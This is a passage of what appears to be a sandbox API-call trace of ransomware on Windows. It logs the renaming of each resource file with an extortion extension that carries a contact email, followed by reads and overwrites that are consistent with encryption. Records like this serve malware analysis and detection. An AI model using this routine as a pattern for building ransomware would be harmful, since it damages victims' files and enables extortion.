Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0001_static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.902] CloseHandle (hObject=0x42c) returned 1 [0227.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.903] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0001_static.png"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0001_static.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x2e0067, dwReserved1=0x640069, cFileName="Back_0001_Static.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BACK_0~1.FIR")) returned 0x6d4f80 [0227.904] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0227.904] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0001_static.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.904] GetProcessHeap () returned 0x630000 [0227.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x71f1460 [0227.904] GetProcessHeap () returned 0x630000 [0227.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x71f0140 [0227.904] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.904] ReadFile (in: hFile=0x42c, lpBuffer=0x71f1460, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f1460*, lpNumberOfBytesRead=0x45bff0c*=0x460, lpOverlapped=0x0) returned 1 [0227.910] GetProcessHeap () returned 0x630000 [0227.910] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0227.910] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.910] WriteFile (in: hFile=0x42c, lpBuffer=0x71f0140*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0140*, lpNumberOfBytesWritten=0x45bff0c*=0x460, lpOverlapped=0x0) returned 1 [0227.910] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.910] WriteFile (in: hFile=0x42c, lpBuffer=0x71f059f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f059f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.910] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.910] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.911] CloseHandle (hObject=0x42c) returned 1 [0227.911] GetProcessHeap () returned 0x630000 [0227.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0140 | out: hHeap=0x630000) returned 1 [0227.911] GetProcessHeap () returned 0x630000 [0227.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f1460 | out: hHeap=0x630000) returned 1 [0227.911] GetProcessHeap () returned 0x630000 [0227.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0227.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4dcabdc7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x45bfd20, dwReserved1=0x71f1460, cFileName="Back_0001_Static.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BACK_0~1.FIR")) returned 0x6d5200 [0227.911] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0227.911] Sleep (dwMilliseconds=0x1) [0227.916] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png", len=0x7c | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png") returned 1 [0227.916] GetProcessHeap () returned 0x630000 [0227.916] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5124) returned 0x6fe3bb0 [0227.916] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0000_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.917] CloseHandle (hObject=0x42c) returned 1 [0227.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.917] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0000_hover.png"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0000_hover.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x4b9, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="Back_0000_Hover.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BACK_0~2.FIR")) returned 0x6d4e40 [0227.918] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0227.918] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0000_hover.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.919] GetProcessHeap () returned 0x630000 [0227.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c1) returned 0x7149800 [0227.919] GetProcessHeap () returned 0x630000 [0227.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c1) returned 0x71f0140 [0227.919] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.919] ReadFile (in: hFile=0x42c, lpBuffer=0x7149800, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7149800*, lpNumberOfBytesRead=0x45bff0c*=0x4a0, lpOverlapped=0x0) returned 1 [0227.927] GetProcessHeap () returned 0x630000 [0227.927] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0227.927] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.927] WriteFile (in: hFile=0x42c, lpBuffer=0x71f0140*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0140*, lpNumberOfBytesWritten=0x45bff0c*=0x4a0, lpOverlapped=0x0) returned 1 [0227.927] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.927] WriteFile (in: hFile=0x42c, lpBuffer=0x71f05df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f05df*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.927] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.927] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.927] CloseHandle (hObject=0x42c) returned 1 [0227.928] GetProcessHeap () returned 0x630000 [0227.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0140 | out: hHeap=0x630000) returned 1 [0227.928] GetProcessHeap () returned 0x630000 [0227.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7149800 | out: hHeap=0x630000) returned 1 [0227.928] GetProcessHeap () returned 0x630000 [0227.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0227.928] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4dceeae0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0xb747496, dwReserved1=0x71497f8, cFileName="Back_0000_Hover.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BACK_0~2.FIR")) returned 0x6d52c0 [0227.928] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0227.928] Sleep (dwMilliseconds=0x1) [0227.931] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif", len=0x7e | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif") returned 1 [0227.931] GetProcessHeap () returned 0x630000 [0227.931] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5120) returned 0x6fe3bb0 [0227.931] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\20170517_lock_200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.933] CloseHandle (hObject=0x42c) returned 1 [0227.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.934] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\20170517_lock_200.gif"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\20170517_lock_200.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x6f0d1, dwReserved0=0x660069, dwReserved1=0x69002e, cFileName="20170517_Lock_200.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="201705~1.FIR")) returned 0x6d5280 [0227.935] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0227.936] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\20170517_lock_200.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.936] GetProcessHeap () returned 0x630000 [0227.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x704e140 [0227.936] GetProcessHeap () returned 0x630000 [0227.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731ceb0 [0227.939] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.939] ReadFile (in: hFile=0x42c, lpBuffer=0x704e140, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x704e140*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.392] GetProcessHeap () returned 0x630000 [0233.392] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0233.392] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.392] WriteFile (in: hFile=0x42c, lpBuffer=0x731ceb0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x731ceb0*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0234.399] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.399] WriteFile (in: hFile=0x42c, lpBuffer=0x73282af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73282af*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.400] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.400] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.400] CloseHandle (hObject=0x42c) returned 1 [0234.401] GetProcessHeap () returned 0x630000 [0234.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731ceb0 | out: hHeap=0x630000) returned 1 [0234.401] GetProcessHeap () returned 0x630000 [0234.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704e140 | out: hHeap=0x630000) returned 1 [0234.402] GetProcessHeap () returned 0x630000 [0234.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0235.545] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51a8b35f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6f0f5, dwReserved0=0xb747496, dwReserved1=0x704e138, cFileName="20170517_Lock_200.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="201705~1.FIR")) returned 0x6d51c0 [0235.545] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.545] Sleep (dwMilliseconds=0x1) [0235.571] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml") returned 1 [0235.571] GetProcessHeap () returned 0x630000 [0235.571] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5010) returned 0x6fe3bb0 [0235.571] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0235.572] CloseHandle (hObject=0x6d0) returned 1 [0235.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.572] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5500 [0235.573] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0235.573] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0235.573] GetProcessHeap () returned 0x630000 [0235.573] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.573] GetProcessHeap () returned 0x630000 [0235.573] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.573] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.573] ReadFile (in: hFile=0x6d0, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x45bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.576] GetProcessHeap () returned 0x630000 [0235.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 